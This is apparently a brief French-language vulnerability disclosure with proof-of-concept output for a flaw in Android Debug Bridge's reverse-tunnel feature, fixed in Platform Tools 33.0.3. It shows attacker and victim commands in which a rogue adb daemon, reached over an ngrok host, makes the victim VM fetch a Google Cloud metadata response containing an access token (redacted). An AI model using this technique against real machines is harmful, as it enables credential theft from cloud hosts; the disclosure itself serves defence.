
Code de preuve de concept pour exploiter une faille dans adb qui permettait d'ouvrir des connexions réseau sur l'hôte vers des destinations arbitraires.
La fonctionnalité de tunnel inversé d'Android Debug Bridge (adb) était vulnérable, car elle permettait à des démons adb malveillants d'ouvrir des connexions vers des hôtes/ports arbitraires et des sockets de domaine Unix sur l'hôte.
Fenêtre de l'attaquant (où le démon malveillant est exécuté) :
$ ./adb_rogue_daemon.py
Fenêtre de la victime (une VM GCE dans cet exemple) :
$ adb connect serverip:5556
connected to 8.tcp.ngrok.io:19076
Fenêtre de l'attaquant :
...
Wooho, we got response for our rouge request!
b'HTTP/1.0 200 OK\r\nMetadata-Flavor: Google\r\nContent-Type: application/json\r\nDate: Thu, 04 Nov 2021 22:31:21 GMT\r\nServer: Metadata Server for VM\r\nConnection: Close\r\nContent-Length: 1049\r\nX-XSS-Protection: 0\r\nX-Frame-Options: SAMEORIGIN\r\n\r\n{"access_token":"ya29.c.KpgBFghLV[redacted].....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................'
<<< b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
b'...................................................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba'
('....', (774778414, 774778414, 774778414, 774778414, 774778414), b'...........................................................................................................................................................................................................................","expires_in":2394,"token_type":"Bearer"}CLSE\x08\x00\x00\x00\xd2\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbc\xb3\xac\xba')
Ce problème a été corrigé dans Platform Tools 33.0.3.